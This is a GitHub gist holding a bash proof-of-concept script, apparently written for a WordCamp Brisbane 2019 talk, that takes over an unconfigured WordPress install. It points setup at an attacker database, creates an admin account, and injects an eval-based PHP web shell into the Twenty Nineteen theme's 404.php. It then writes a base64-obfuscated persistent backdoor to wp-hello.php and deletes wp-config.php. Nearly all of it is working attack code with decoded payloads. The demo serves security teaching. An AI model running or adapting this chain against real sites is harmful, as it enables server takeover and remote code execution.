Created
August 23, 2019 23:48
Proof of concept WordPress setup script attack - sets up a new WP installation and injects a simple shell into /wp-content/themes/twentynineteen/404.php and /wp-hello.php.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# WordPress Setup Attack Script | |
# | |
# Created by Stephen Rees-Carter (https://stephenreescarter.net/) | |
# | |
# This script injects a remote shell into a fresh copy of WordPress that hasn't been set up yet. | |
# Once the shells have been set up, it removes the config file with the custom database connection to reset the site back to a fresh install. | |
# | |
# Note, it is currently hardcoded for my WordCamp Brisbane 2019 talk: | |
# https://stephenreescarter.net/talks/hacking-wordpress/ | |
# | |
# If there is interest, I may modify it to allow customising everything. | |
# | |
echo "Initiating WordPress Database Connection..." | |
curl 'https://hackwp.valorin.dev/newsite/wp-admin/setup-config.php?step=2' --silent --output ./output.txt -H 'Content-Type: application/x-www-form-urlencoded' --data 'dbname=hackerdb&uname=hackerdb&pwd=secureHACKERDBpassword&dbhost=localhost&prefix=wp_' | |
# Payload => user=hackerdb | db=hackerdb | pass=secureHACKERDBpassword | |
echo "Setting up new admin user..." | |
curl 'https://hackwp.valorin.dev/newsite/wp-admin/install.php?step=2' --silent --output ./output.txt -H 'Content-Type: application/x-www-form-urlencoded' --data 'weblog_title=HackerDB&user_name=hacker&admin_password=hackerPassword&pass1-text=hackerPassword&admin_password2=hackerPassword&pw_weak=on&admin_email=stephen%40evilhacker.valorin.dev&blog_public=0' | |
# Payload => title=HackerDB | user=hacker | pass=hackerPassword | email=stephen@evilhacker.valorin.dev | |
echo "Logging in to wp-admin..." | |
curl 'https://hackwp.valorin.dev/newsite/wp-login.php' --silent --output ./output.txt --cookie-jar ./cookie.jar -H 'Content-Type: application/x-www-form-urlencoded' --data 'log=hacker&pwd=hackerPassword' | |
# Payload => authenticates with hacker/hackerPassword | |
echo "Grabbing a nonce for theme editing..." | |
NONCE=$(curl 'https://hackwp.valorin.dev/newsite/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen' --cookie ./cookie.jar --cookie-jar ./cookie.jar --silent | grep -ohP '(?<=name="nonce" value=")[^"]+(?=")') | |
# Retrieves => valid WordPress Nonce for theme editing | |
echo "Updating theme 404.php with payload..." | |
curl 'https://hackwp.valorin.dev/newsite/wp-admin/admin-ajax.php' --silent --output ./output.txt --cookie ./cookie.jar --cookie-jar ./cookie.jar -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' --data 'nonce='$NONCE$'&_wp_http_referer=%2Fnewsite%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dtwentynineteen&newcontent=%3C%3Fphp%20if%20%28isset%28%24_GET%5B%27hack%27%5D%29%29%7Becho%27Stephen%5C%27s%20Sneaky%20Shell%3Cform%20method%3DGET%20action%3D%3E%3Cinput%20name%3Dhack%20size%3D50%20value%3D%22%27.htmlentities%28%24cmd%3Dstripslashes%28%24_GET%5B%27hack%27%5D%20%3F%3A%20%27print_r%28scandir%28%5C%27.%5C%27%29%29%27%29%29.%27%22%20autofocus%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E%3Cpre%3E%27%3Beval%28%24cmd.%27%3B%27%29%3Bdie%28%29%3B%7D+%0A%2F**%0A+*+The+template+for+displaying+404+pages+(not+found)%0A+*%0A+*+%40link+https%3A%2F%2Fcodex.wordpress.org%2FCreating_an_Error_404_Page%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Nineteen%0A+*+%40since+1.0.0%0A+*%2F%0A%0Aget_header()%3B%0A%3F%3E%0A%0A%09%3Csection+id%3D%22primary%22+class%3D%22content-area%22%3E%0A%09%09%3Cmain+id%3D%22main%22+class%3D%22site-main%22%3E%0A%0A%09%09%09%3Cdiv+class%3D%22error-404+not-found%22%3E%0A%09%09%09%09%3Cheader+class%3D%22page-header%22%3E%0A%09%09%09%09%09%3Ch1+class%3D%22page-title%22%3E%3C%3Fphp+_e(+\'Oops\u21+That+page+can%26rsquo%3Bt+be+found.\'%2C+\'twentynineteen\'+)%3B+%3F%3E%3C%2Fh1%3E%0A%09%09%09%09%3C%2Fheader%3E%3C\u21--+.page-header+--%3E%0A%0A%09%09%09%09%3Cdiv+class%3D%22page-content%22%3E%0A%09%09%09%09%09%3Cp%3E%3C%3Fphp+_e(+\'It+looks+like+nothing+was+found+at+this+location.+Maybe+try+a+search%3F\'%2C+\'twentynineteen\'+)%3B+%3F%3E%3C%2Fp%3E%0A%09%09%09%09%09%3C%3Fphp+get_search_form()%3B+%3F%3E%0A%09%09%09%09%3C%2Fdiv%3E%3C\u21--+.page-content+--%3E%0A%09%09%09%3C%2Fdiv%3E%3C\u21--+.error-404+--%3E%0A%0A%09%09%3C%2Fmain%3E%3C\u21--+%23main+--%3E%0A%09%3C%2Fsection%3E%3C\u21--+%23primary+--%3E%0A%0A%3C%3Fphp%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=404.php&theme=twentynineteen&docs-list=' | |
# Appends payload: <?php if (isset($_GET['hack'])){echo'Stephen\'s Sneaky Shell<form method=GET action=><input name=hack size=50 value="'.htmlentities($cmd=stripslashes($_GET['hack'] ?: 'print_r(scandir(\'.\'))')).'" autofocus><input type=submit></form><pre>';eval($cmd.';');die();} | |
echo "Installing persistent backdoor..." | |
curl "https://hackwp.valorin.dev/newsite/wp-content/themes/twentynineteen/404.php?hack=file_put_contents%28%27..%2F..%2F..%2Fwp-hello.php%27%2C+%27%3C%3Fphp+eval%28base64_decode%28%22aWYgKGlzc2V0KCRfR0VUWydoYWNrJ10pKXtlY2hvJ1N0ZXBoZW5cJ3MgU25lYWt5IFNoZWxsPGZvcm0gbWV0aG9kPUdFVCBhY3Rpb249PjxpbnB1dCBuYW1lPWhhY2sgc2l6ZT01MCB2YWx1ZT0iJy5odG1sZW50aXRpZXMoJGNtZD1zdHJpcHNsYXNoZXMoJF9HRVRbJ2hhY2snXSA%2FOiAncHJpbnRfcihzY2FuZGlyKFwnLlwnKSknKSkuJyIgYXV0b2ZvY3VzPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0%2BPHByZT4nO2V2YWwoJGNtZC4nOycpO2RpZSgpO30%3D%22%29%29%3B%27%29" --silent --output ./output.txt | |
# Remote backdoor command: write backdoor in wp-hello.php | |
echo "Resetting site config..." | |
curl "https://hackwp.valorin.dev/newsite/wp-hello.php?hack=unlink('wp-config.php');" --silent --output ./output.txt | |
# Remote backdoor command: remove config to reset site state | |
echo "Done" | |
rm ./output.txt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment